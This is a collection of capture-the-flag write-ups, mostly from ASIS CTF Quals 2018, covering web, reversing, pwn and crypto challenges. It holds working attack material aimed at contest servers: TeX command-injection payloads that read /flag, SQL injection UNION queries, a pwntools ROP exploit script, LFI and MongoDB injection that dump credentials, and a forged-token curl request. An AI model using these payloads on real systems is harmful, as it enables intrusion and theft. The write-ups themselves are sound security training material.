stringn=a.co_consts[0].co_consts # the const contains flag byte and index bytecode=a.co_consts[0].co_code[34:] # extract useful bytecode # Now we can reconstruct the flagwhile code.find("|\x01\x00d")!=-1: pos=code.find("|\x01\x00d") code=code[pos:] i=ord(code[4]) j=ord(code[8]) #the first is index, the second is flag flag[n[i]]=n[j] code=code[1:]print "".join(flag) ```The flag is `HITB{1!F3_1S_&H%r7_v$3_pY7#ON!}`### multicheck (sasdf)Extract `claz.dex` from `lib/libcheck.so` by xor with increasing byte stream started with 233 (i.e. i=233; i++). Run the inverse of algorithm in `claz.dex` to uncover input string.```pythondef decBlock(a, b): i5 = np.int32(0) for _ in range(32): i5 -= np.int32(1640531527) for _ in range(32): b -= (((a << np.int32(4)) + coeff[2]) ^ (a + i5)) ^ ((a >> np.int32(5)) + coeff[3]) a -= (((b << np.int32(4)) + coeff[0]) ^ (b + i5)) ^ ((b >> np.int32(5)) + coeff[1]) i5 += np.int32(1640531527) return int(a), int(b)```
# Linked Out (Web) In the task we get access to a webpage for generating CVs.We are supposed to upload a YAML input file, and the page generates a PDF with a nice CV theme.We get an example input file so we can test the platform. There is a link to the github with style configuration of the theme, so we learn that this is all done with TeX. This points into the direction of injecting some malicious TeX directives inside the YAML payload in order to exploit the server. As one of the fields we can send for example '\input|ls ' and we get: ![](inject1.png) So we can list files on the server.With this we can try to browse a bit to look for the flag.We find the `flag` file in root `/` directory and we can send another payload `'\input|"cat /flag"|base64 '` to get: ![](inject2.png) So the flag is: `NDH{And_Donald_Knuth_created_the_iTeX}` Final payload [here](inject.yml)
Use the double free to stimulate heap overflow and do house of orange with size of the unsorted bin chunk set to 0xb1 instead of 0x61.[https://amritabi0s.wordpress.com/2018/05/01/asis-ctf-quals-2018-fifty-dollors-write-up/](https://amritabi0s.wordpress.com/2018/05/01/asis-ctf-quals-2018-fifty-dollors-write-up/)
> Density> > Keep it [short](https://0xd13a.github.io/ctfs/asis2018/density/short) and [simple](https://0xd13a.github.io/ctfs/asis2018/density/density.tar.xz) This challenge contains an executable and an encoded data file generated by it. We need to reverse the encoding: ```$ ./b64pack usage: ./befshar input $ ./b64pack aaa?????k??????n??``` The logic can be quickly analyzed in Hex Rays or Snowman, or traced in the debugger. Once the parameter is supplied the following chunk of code does the processing of it (see comments inside): ```....text:000055594AC08C3D loc_55594AC08C3D: ; CODE XREF: main+20?j.text:000055594AC08C3D xor eax, eax.text:000055594AC08C3F call sub_55594AC08DE0 ; Generate a random string composed of printable characters.text:000055594AC08C44 mov r12, rax.text:000055594AC08C47 xor eax, eax.text:000055594AC08C49 call sub_55594AC08DE0 ; Generate another random string.text:000055594AC08C4E mov rsi, [rbp+8] ; src.text:000055594AC08C52 mov rbx, rax.text:000055594AC08C55 mov rdi, r12 ; src.text:000055594AC08C58 call sub_55594AC08F40 ; Append command line string to first random string.text:000055594AC08C5D mov rsi, rbx ; src.text:000055594AC08C60 mov rdi, rax ; src.text:000055594AC08C63 call sub_55594AC08F40 ; Append second random string to the result.text:000055594AC08C68 mov rbx, rax.text:000055594AC08C6B or rcx, 0FFFFFFFFFFFFFFFFh.text:000055594AC08C6F xor eax, eax.text:000055594AC08C71 mov rdi, rbx.text:000055594AC08C74 lea rsi, [rsp+28h+var_20].text:000055594AC08C79 repne scasb ; Find resulting string length.text:000055594AC08C7B mov rdi, rbx.text:000055594AC08C7E mov rax, rcx.text:000055594AC08C81 not rax.text:000055594AC08C84 sub rax, 1.text:000055594AC08C88 mov [rsp+28h+var_20], rax.text:000055594AC08C8D call sub_55594AC08FB0 ; Encode the string.text:000055594AC08C92 mov rsi, [rsp+28h+var_20].text:000055594AC08C97 mov rdi, rbx.text:000055594AC08C9A call sub_55594AC094F0 ; ...and print it.text:000055594AC08C9F mov edi, 0Ah ; c.text:000055594AC08CA4 call _putchar.text:000055594AC08CA9 jmp loc_55594AC08C13...``` Encoding logic in ```sub_55594AC08FB0``` is as follows: * Convert each character from set ```@$_!\"#%&'()*+,-./:;<=>?\n``` to ```+``` and ```chr(character position + ord('a'))```* Convert each character from set ```[\\]^{|}~`\t``` to ```++``` and ```chr(character position + ord('a'))```* For all characters convert each to its position in Base64 character set (expressed as a 6-bit value) and glue these bit strings together to produce the result To recover our encoded string let's do these operations in reverse order: ```pythonb64str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"punct1 = "@$_!\"#%&'()*+,-./:;<=>?\n"punct2 = "[\\]^{|}~`\t" data = bytearray(open('short','rb').read()) # convert to bitstringbitstring = ''.join(['{:08b}'.format(x) for x in data]) # unpack every 6 bits into a Base64 characaterdecoded = ''for x in range(0,len(bitstring),6): decoded += b64str[int(bitstring[x:x+6],2)] # decode special "+" encoding out = ''i = 0while i < len(decoded): if decoded[i] == '+': i += 1 if decoded[i] == '+': i += 1 out += punct2[ord(decoded[i])-ord('a')] else: out += punct1[ord(decoded[i])-ord('a')] else: out += decoded[i] i += 1 print out``` Running the script produces the flag: ```$ python solve.py O~$/cASIS{01d_4Nd_GoLD_ASIS_1De4_4H4t_g0e5_f0r_ls!}dI )M>b|D9W//CC``` The flag is ```ASIS{01d_4Nd_GoLD_ASIS_1De4_4H4t_g0e5_f0r_ls!}```.
When we visit the website, we can see that we need to provide `object` parameter which is base64 encoded JSON object.Just for my convenience I decided to use JSON beautifier, but it quickly appeared that it also bypasses the WAF protection.Then the challenge became an easy SQL injection task.First we need to get tables names.```{ "data": "' union select 1,group_concat(table_name) from information_schema.tables where table_schema!='information_schema'#"}```It reveals that we have 3 tables: access_logs, credentials, news. We can easily dump all data from these tables using the same trick.There is only one user - `valid_user`. Password hash in hex is 32 digits, so we know that it's probably MD5. We can easily crack the hash as the password is just `password`. The last thing we have to do is to find login panel. To do this we can simply analyse access_logs table, where we can find that someone accessed`/?action=log-in`. When we visit this link we can see that it requires us to pass credentials array. http://167.99.12.110/?action=log-in&credentials[0]=valid_user&credentials[1]=password The flag is: ASIS{e279aaf1780c798e55477a7afc7b2b18}
No comments. Task just ripped off from other ctf. [https://ctftime.org/task/3681](https://ctftime.org/task/3681) [https://ctftime.org/task/5366](https://ctftime.org/task/5366) ```from pwn import * context(arch='i386')p = 0b = ELF('./boobs') def start(): global p, libc, b if p is not 0: p.close() p = remote('34.242.96.216', 22222) start() log.info("Construct ropchain")ropchain = "A"*258ropchain += p32(0x08048814) # validate - check ropchain2 = "A"*258ropchain2 += p32(0x0804884F) # give_flag - get_boobs p.sendline("aaa") for j in range(1,82): p.sendline('1') p.sendline(str(j)) p.sendline("aaa") p.sendline("aaa") p.sendline("1")p.sendline("80")p.sendline(ropchain) p.sendline("1")p.sendline("81")p.sendline(ropchain2) p.sendline("3")print p.recvall()``` Flag is: Flag{You_Absolutely_Deserve_million_boobs}
### Hush Hush - 150 points (31 solves) > Can I get a hash collision?>> nc 89.38.210.129 6665 For this challenge, we are given a service to connect to and the code for the respective service. When we established connection, we were asked two inputs and if the inputs were different but with equal md5 hashes, we would get the flag. Meaning that we would need to generate a hash collision. However, the problem was pretty simple as it had a big flaw in the following function: ```python# can't break itdef my_hash(x): global n x += "piper" x = int(x.encode('hex'), 16) for i in range(32): x = pow(x, x, n) x +=1 m = md5.new() m.update(hex(x)) return m.hexdigest()``` When we pass our input string, the word ```piper``` is concatenated. The input is converted into decimal and then a sequencial exponentiation is computed finishing with the calculation of the digest. Because the above word is concatenated, we can send nothing as input and that word will be hashed. On the other hand, if we send a null byte ```\x00```, we get the same result. And since ```''``` and ```\x00``` are different, we get the flag. ```pythonfrom pwn import * HOST = "89.38.210.129"PORT = 6665 r = remote(HOST, PORT) input1 = b'\x00'input2 = '' r.recvuntil("First input:")r.sendline(input1) r.recvuntil("Second input:")r.sendline(input2) r.interactive()``` The flag is:```timctf{d0UbT_3verYTH1nG}```
# Accumulator ![](https://github.com/mali44/CTF-Write-ups/blob/master/2018-03-21-angstromctf/binary_accumulator/binary_accumulator.jpeg?raw=true) Hints are very helpful in this ctf. So you will simply realize that program doesn't accept over limited digits. We know its around 2,1 billion that limit a int value can store. The Further more integer can convert to negative number AKA "Integer overflow" ```An integer overflow can cause the value to wrap and become negative,which violates the program's assumption and may lead to unexpected behavior (for example, 8-bit integer addition of 127 + 1 results in −128, a two's complement of 128).``` So my sloution was: ![](https://github.com/mali44/CTF-Write-ups/blob/master/2018-03-21-angstromctf/binary_accumulator/accumulator.png?raw=true) when you run it on server side :Flag:```actf{signed_ints_aint_safe}```
# ASIS CTF Quals 2018 **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180429-asisctfquals/) of this writeup.** - [ASIS CTF Quals 2018](#asis-ctf-quals-2018) - [Web](#web) - [Nice code (unsolved, written by bookgin)](#nice-code-unsolved-written-by-bookgin) - [Bug Flag (bookgin, sces60107)](#bug-flag-bookgin-sces60107) - [Good WAF (solved by ysc, written by bookgin)](#good-waf-solved-by-ysc-written-by-bookgin) - [Personal Website (solved by sasdf, bookgin, sces60107, written by bookgin)](#personal-website-solved-by-sasdf-bookgin-sces60107-written-by-bookgin) - [Sharp eyes (unsolved, written by bookgin, special thanks to @herrera)](#sharp-eyes-unsolved-written-by-bookgin-special-thanks-to-herrera) - [Gameshop (unsolved)](#gameshop-unsolved) - [rev](#rev) - [Warm up (sces60107)](#warm-up-sces60107) - [baby C (sces60107)](#baby-c-sces60107) - [Echo (sces60107)](#echo-sces60107) - [Left or Right? (sces60107)](#left-or-right-sces60107) - [Density (sces60107)](#density-sces60107) - [pwn](#pwn) - [Cat (kevin47)](#cat-kevin47) - [Just_sort (kevin47)](#just_sort-kevin47) - [message_me (kevin47)](#message_me-kevin47) - [Tinypwn (kevin47)](#tinypwn-kevin47) - [PPC](#ppc) - [Neighbour (lwc)](#neighbour-lwc) - [The most Boring (how2hack)](#the-most-boring-how2hack) - [Shapiro (shw)](#shapiro-shw) - [misc](#misc) - [Plastic (sces60107)](#plastic-sces60107) - [forensic](#forensic) - [Trashy Or Classy (sces60107 bookgin)](#trashy-or-classy-sces60107-bookgin) - [first step](#first-step) - [second step](#second-step) - [third step](#third-step) - [Tokyo (sces60107)](#tokyo-sces60107) - [crypto](#crypto) - [the_early_school (shw)](#the_early_school-shw) - [Iran (shw and sasdf)](#iran-shw-and-sasdf) - [First-half](#first-half) ## Web ### Nice code (unsolved, written by bookgin) The challenge is related to PHP code review. The page will show the error message. All we have to do is bypass the error :) ```# substr($URL, -10) !== '/index.php'http://167.99.36.112:8080/admin/index.php# $URL == '/admin/index.php'http://167.99.36.112:8080/admin/index.php/index.php``` Next, we are redirected to http://167.99.36.112:8080/another/index.php?source . ```php $_v){ if($_k_o == $k_Jk){ $f = 1; } if($f && strlen($__dgi)>17 && $_p == 3){ $k_Jk($_v,$_k_o); //my shell :) } $_p++; }}else{ echo "noob!";} ``` Also note that the server uses PHP/5.5.9-1ubuntu4.14. Then I got stuck here for DAYS. After a few tries, I think it's impossible to bypass `===`. However, that's not the case in PHP 5.5.9 due to [this bug](https://bugs.php.net/bug.php?id=69892). Just send a big index, and it will be casted to int. Overflow! The rest is simple. No need to guess the content in `oshit.php`. Use system to RCE. Postscript: 1. The bug seems to be famous(infamous) in 2015,2016 PHP CTFs. You can Google the link or bug id and you'll find lots of challenges related to this bug.2. Always pay attention to the version server used. The current release is PHP 7.2, but the challenge uses PHP 5.5.9.3. If the condition is impossible to bypass, just dig into the bug databse/source code.4. The challenge is solved by more than 20 teams, so it must be simple to find a solution. I've learned a lot. Thanks to this challenge and PHP! ### Bug Flag (bookgin, sces60107) Get source code by LFI `http://46.101.173.61/image?name=app.py`. It's Python2 + Flask. ```pythonfrom flask import Flask, Response, render_template, session, request, jsonify app = Flask(__name__)app.secret_key = open('private/secret.txt').read() flags = { 'fake1': { 'price': 125, 'coupons': ['fL@__g'], 'data': 'fake1{this_is_a_fake_flag}' }, 'fake2': { 'price': 290, 'coupons': ['fL@__g'], 'data': 'fake2{this_is_a_fake_flag}' }, 'asis': { 'price': 110, 'coupons': [], 'data': open('private/flag.txt').read() }} @app.route('/')def main(): if session.get('credit') == None: session['credit'] = 0 session['coupons'] = [] return render_template('index.html', credit = session['credit']) #return 'Hello World!Your Credit is {}Used Coupons is {}'.format(session.get('credit'), session.get('coupons')) @app.route('/image')def resouce(): image_name = request.args.get('name') if '/' in image_name or '..' in image_name or 'private' in image_name: return 'Access Denied' return Response(open(image_name).read(), mimetype='image/png') @app.route('/pay', methods=['POST'])def pay(): data = request.get_json() card = data['card'] coupon = data['coupon'] if coupon.replace('=','') in session.get('coupons'): return jsonify({'result': 'the coupon is already used'}) for flag in card: if flag['count'] <= 0: return jsonify({'result':'item count must be greater than zero'}) discount = 0 for flag in card: if coupon.decode('base64').strip() in flags[flag['name']]['coupons']: discount += flag['count'] * flags[flag['name']]['price'] credit = session.get('credit') + discount for flag in card: credit -= flag['count'] * flags[flag['name']]['price'] if credit < 0: result = {'result': 'your credit not enough'} else: result = {'result': 'pay success'} result_data = [] for flag in card: result_data.append({'flag': flag['name'], 'data': flags[flag['name']]['data']}) result['data'] = result_data session['credit'] = credit session['coupons'].append(coupon.replace('=','')) return jsonify(result) if __name__ == '__main__': app.run(host='0.0.0.0', port=80)``` The first thought comes to my mind is race condition. We can send 2 requests to manipulate the session variables. However, manipulating credit leads to nothing, because it's not dependent on executing orders. Manipulating coupons is useless, neither. Why bother using a coupon twice? Just create another session. Then I start to dig if there is any logical error. The objective is to make the credit >= 0 when buying the real flag. After some brainstroming, I try to buy 0.01 fake flags, and it works. Let's test Python floating-point precision.```pythonPython 2.7.14 (default, Jan 5 2018, 10:41:29) [GCC 7.2.1 20171224] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> 1.335 * 125 + 0.334 * 290 - 1.335 * 125 - 0.334 * 2901.4210854715202004e-14``` Isn't it cool and surprising? Note that `1.4210854715202004e-14` is a positive number. For the count of real flag, we can buy `0.0000000...1`. Payload:```{"card":[{"name":"fake1","count":1.335},{"name":"fake2","count":0.334},{"name":"asis","count":0.0000000000000000000000000001}],"coupon":"ZkxAX19n"}``` Flag: `ASIS{th1@n_3xpens1ve_Fl@G}` You can abuse Python `NaN` to solve this challenge as well. Refer to [this writeup](https://ctftime.org/writeup/9893). ### Good WAF (solved by ysc, written by bookgin) The challenge requires us to bypass the WAF on SQL injection. **Unintended solution:** When the organizer is fixing the challenge by editing the source code, @ysc's web scanner found `.index.php.swp`, and we got the source code. The flag is there. That's all. Flag: `ASIS{e279aaf1780c798e55477a7afc7b2b18}` Never fix anything on the production server directly :) ### Personal Website (solved by sasdf, bookgin, sces60107, written by bookgin) Firstly dive into `http://206.189.54.119:5000/site.js`. There are 4 interesting pages: - admin_area- get/title/1- get/text/1- get/image/1 The `admin_area` requires an authorization_token in the header, and the page will check the token. If it's incorrect, an error occurs `Authorization Failed.` Let's fuzz the three `get` APIs. The title, text seem not injectable and only parse integer until encountering an invalid character. However, image is injectable. The `get/image/0+1` is equal to `get/image/1`. Even `get/image/eval("0+1")` works like a charm. So we got a blind injection here. The backend is Nodejs + express. I'll first guess it's using mongoDB. Keey moving on. We try to extract the information of the backend, only to find it's in nodejs vm2. There is no `require` so we cannot RCE. Actually versatile @sasdf spent some time on trying to escape the vm, but it seems very hard. Next, we leaked `module` and find `_mongo`, `db`. It's possible to get all collection names via `db.collection.getname()`. Then, use eval and ` this["db"].credentials.find().toArray()` to dump the database. We dump `credentials` and `authorization`: ```{"_id":{"str":"5ae63ae0a86f623c83fecfb3"},"id":1,"method":"post_data","format":"username=[username]&password=[password]","activate":"false"}{"_id":{"str":"5ae63ae0a86f623c83fecfb4"},"id":2,"method":"header","format":"md5(se3cr3t|[username]|[password])","activate":"true"} {"_id":{"str":"5ae63ae0a86f623c83fecfb1"},"id":1,"username":"administrator","password":"H4rdP@ssw0rd?"}``` Great! The payload:```shcurl 'http://206.189.54.119:5000/admin_area' -H "authorization_token:`echo -n 'se3cr3t|administrator|H4rdP@ssw0rd?' | md5sum | cut -f1 -d' '`"``` Flag: `ASIS{3c266f6ccdaaef52eb4a9ab3abc2ca70}` Postscript: Take a look at Yashar Shahinzadeh's [writeup](https://medium.com/bugbountywriteup/mongodb-injection-asisctf-2018-quals-personal-website-write-up-web-task-115be1344ea2). In fact, the server will send back the error message through the response header `Application-Error`. There is no need to perform blind injection. We are reckless and didn't find this. Next time, I'll carefully inspect every payload and HTTP status code/headers. ### Sharp eyes (unsolved, written by bookgin, special thanks to @herrera) The incorrect account/password in the login page will redirect to `error/1`. Missing either account or password parameter redirects to `error/2`. The source HTML of `error/1`. ```html<html><head><script src='/jquery-3.3.1.min.js'></script><link href='style.css' rel='stylesheet'></head><body><div class="accordion"> <dl> <dt class="active"> <script>var user = '1';</script>Invalid credentials were given.``` If the URL is `error/hello`, the js part becomes `var user = 'hello';`. Addtionally, some characters `<>",` are filtered, but it's imple to bypass using single quotes and semicolons. It's obvious that we have to somehow make the admin trigger this XSS, but how? I guess the admin will read the log in the server, but after a few tries, we found it does't work at all. Ok, so why does variable user mean in the javascript here? Maybe we can inject the XSS payload to the username login page. but it doesn't work, neither. What if it's not a XSS challenge? I don't think so because: 1. I note that the jQuery is loaded in the error page, but it's not used.2. There is a XSS filter. The discovery strongly indicates this is a XSS challenge. However, why does the error code is assigned to a user variable? This does not make sense at all. This challenge made me very frustrated. I think the XSS part is very misleading at the begninning, though it's used after logged in successfully. It was not unitl the last 30 minutes that we found the error code is vulnerable to SQL injection. The server returns the content but the status code is 500. Thanks to @sasdf 's sharp eyes. I'm too careless to find the SQL injection vulenerability. SQLmap will dump the database. The DB is SQlite. Thanks to @herrera in IRC channel:> sharp eyes was sqli on /error/1, getting username/hash of the user david, logging into him, then using /error/1 as a XSS too, sending it to admin and getting the flag on flag.php Postscript: 1. Sharp eyes: HTTP status code2. Some misleading part might be the second stage of the challenge.3. It a number of teams solve this challenge, it must be not difficult. ### Gameshop (unsolved) Please refer to [official solution](https://blog.harold.kim/2018/04/asisctf-2018-gameshop-solution). Acctually, we spent a few hours on MicroDB LFI. Next, I'm trying to find a way to exploit all the possible `die(__FLAG__)`. I know we may use unserialization to create `Affimojas->flag = 0`, since in PHP, `var_dump(0 == "asdasdasd"); // bool(true)` . However, I cannot find the way to exploit unserilization. In the last 1 hours, @sasdf noted that we can manipulate the first block, but we though we didn't have much time solving this challenge. There is a long road to go on solving web challnges:) ## rev ### Warm up (sces60107) This is a warm up challenge. They give you a C file like this. ```C#define M 37#define q (2+M/M)#define v (q/q)#define ef ((v+q)/2)#define f (q-v-ef)#define k (8-ef)struct b{int64_t y[13];}S;int m=1811939329,N=1,t[1<<26]={2},a,*p,i,e=73421233,s,c,U=1;g(d,h){for(i=s;i<1<<25;i*=2)d=d*1LL*d%m;for(p=t;p<t+N;p+=s)for(i=s,c=1;i;i--)a=p[s]*(h?c:1LL)%m,p[s]=(m*1U+*p-a)*(h?1LL:c)%m,*p=(a*1U+*p)%m,p++,c=c*1LL*d%m;}l(){while(e/=2){N*=2;U=U*1LL*(m+1)/2%m;for(s=N;s/=2;)g(136,0);for(p=t;p<t+N;p++)*p=*p*1LL**p%m*U%m;for(s=1;s<N;s*=2)g(839354248,1);for(a=0,p=t;p<t+N;)a+=*p<<(e&1),*p++=a%10,a/=10;}}z(n){int y=3,j,c;for(j=2;j<=n;){l();for(c=2;c<=y-1;c++){l();if(y%c==0)break;}if(c==y){l();j++;}y++;}l();return y-1;}main(a, pq) char* pq;{int b=sizeof(S),y=b,j=M;l();int x[M]={b-M-sizeof((short int) a),(b>>v)+(k<<v)+ (v<<(q|ef)) + z(v+(ef<<v)),(z(k*ef)<<v)-pow(ef,f), z(( (j-ef*k)|(ef<<k>>v)/k-ef<<v)-ef),(((y+M)&b)<<(k/q+ef))-z(ef+v),((ef<<k)-v)&y,y*v+v,(ef<<(q*ef-v-(k>>ef)))*q-v,(f<<q)|(ef<<(q*f+k))-j+k,(z(z(z(z(z(v)))))*q)&(((j/q)-(ef<<v))<<q)|(j+(q|(ef<<v))),y|(q+v),(ef<<ef)-v+ef*(((j>>ef)|j)-v+ef-q+v),(z(j&(b<<ef))&(z(v<<v)<<k))-(q<<v)-q,(k<<q)+q,(z(y)>>(ef<<v))+(z(k+v))-q,(z(z(k&ef|j))&b|ef|v<<f<<q<<v&ef>>k|q<<ef<<v|k|q)+z(v<<v)+v,(ef>>v)*q*z(k-v)+z(ef<<ef&q|k)+ef,z(k<<k)&v&k|y+k-v,z(f>>ef|k>>ef|v|k)*(ef>>v)*q,(ef<<k-ef<<v>>q<<ef*ef)-j+(ef<<v),z(ef*k)*z(v<<v)+k-v,z((z(k)<<z(v)))&y|k|v,z(ef<<ef<<v<<v)/ef+z(v<<ef|k|(b>>q)&y-f)-(ef<<q)+(k-v)-ef,k<<(ef+q)/z(ef)*z(q)&z(k<<k)|v,((z(y|j>>k*ef))%ef<<z(v<<v<<v)>>q<<q|j)/ef+v,(j-ef<<ef<<v*z(v>>v<<v)>>ef)/ef%z(k<<j)+q,z(k-v)+k|z(ef<<k>>v<<f)-z(q<<q)*ef>>v,(z(ef|y&j|k)%q|j+ef<<z(k|ef)%k<<q|ef|k<<ef<<q/ef|y/ef+j>>q)&k<<j|ef+v,84,z(v*ef<<ef<<q)*q%ef<<k|k|q-v,((z(20)*v)|(f>>q)|(k<<k))/ef-(ef<<(v*q+ef))-(k<<q)+z(k)-q};while(j--){putchar(x[M-v-j]);}printf(" From ASIS With Love <3\n");return 0;}``` You can compile the code. But when executing the binary, it just hanging there. So the first step is to understand this code.It look likes you need to beautify this code. You can count on online tools, but I do this with myself. And I found out there is a useless function `l` which seems to waste lots of time. I just deleted that function in the code and compile the code again. Eventualy, I got the flag and the first blood. The flag is `ASIS{hi_all_w31c0m3_to_ASISCTF}` ### baby C (sces60107) This challenge give you a obfuscated binary. It is obvious that they use [movfuscator](https://github.com/xoreaxeaxeax/movfuscator). It's not easy to reverse such obfuscated binary directly. You will need the help of `qira` or `gdb`. And I choose the former. But it's still difficult to trace the program flow. After a while, I notice that there is `strncmp` in this binary. ```....text:08049557 mov eax, off_83F6170[edx*4].text:0804955E mov edx, dword_81F6110.text:08049564 mov [eax], edx.text:08049566 mov esp, off_83F6130.text:0804956C mov dword_85F61C4, offset strncmp_plt.text:08049576 mov eax, dword_83F6158.text:0804957B mov eax, off_85F61C8[eax*4].text:08049582 mov eax, [eax]...``` I utilized `qira` to trace the program and realized that part of code is doing `strncmp(input[3:],"m0vfu3c4t0r!",0xc)` Well, the hint tell us `flag is ASIS{sha1(input[:14])}` Now we just need the first three byte. The next step needs patience. you have to trace down the code manually. Then you can find this ```....text:080498C8 mov dl, byte ptr dword_804D050.text:080498CE mov edx, dword_81F5B70[edx*4].text:080498D5 mov dword_804D05C, edx.text:080498DB mov dword_804D058, 'A'.text:080498E5 mov eax, dword_804D05C.text:080498EA mov edx, dword_804D058.text:080498F0 mov ecx, 8804B21Ch...``` If you are familiar with movfuscator, you will know this part of code is trying to compare two bytes. I knew this because I read this [pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) in order to solve this challenge. Now we know it is try to compare the first byte of input to `A` The rest of this chanllenge is diggin out the other code which try to compare the second and the third byte. ```....text:08049BED mov edx, 0.text:08049BF2 mov dl, byte ptr dword_804D050.text:08049BF8 mov edx, dword_81F5B70[edx*4].text:08049BFF mov dword_804D05C, edx.text:08049C05 mov dword_804D058, 'h'.text:08049C0F mov eax, dword_804D05C.text:08049C14 mov edx, dword_804D058.text:08049C1A mov ecx, 8804B21Ch....text:08049F17 mov edx, 0.text:08049F1C mov dl, byte ptr dword_804D050.text:08049F22 mov edx, dword_81F5B70[edx*4].text:08049F29 mov dword_804D05C, edx.text:08049F2F mov dword_804D058, '_'.text:08049F39 mov eax, dword_804D05C.text:08049F3E mov edx, dword_804D058.text:08049F44 mov ecx, 8804B21Ch...``` Finally, we got `input[:14]` which is `Ah_m0vfu3c4t0r`. So the flag will be `ASIS{574a1ebc69c34903a4631820f292d11fcd41b906}`### Echo (sces60107) You will be given a binary in this challenge. Just try to execute it.```$ ./Echo Missing argument$ ./Echo blablaError opening blabla!``` Well, you only get some error message. After using some decompile tool I found this. ``` if ( v9 <= 1 ) { fwrite("Missing argument\n", 1uLL, 0x11uLL, stderr); exit(1); } if ( !strncmp(*(const char **)(a2 + 8), "GIVEMEFLAG", 0xAuLL) ) { v46 = (signed int)sub_970(v49); }``` It seems like you should put `GIVEMEFLAG` in the first argument. ```./Echo GIVEMEFLAGaawtfwtfthisisuselessthisisuseless``` Well it just echo what you input. But `sub_970` seems interesting. I used gdb to catch return value. Then I found this function return a string array `>>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>>>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]><<<<<<<<<<<<<<<<<<<<<<<<<<,[.,]` Obviously, it is `brainfuck`. the last part of this brainfuck string is `[.,]` which will read your input and output to your screen. before that there a bunch of `[+]>` . It will clean the buffer. The goal is clear now. we need to what does it put on the buffer before it remove them. We can rewrite the brainfuck string to fulfill our requirements The new brainfuck string will be 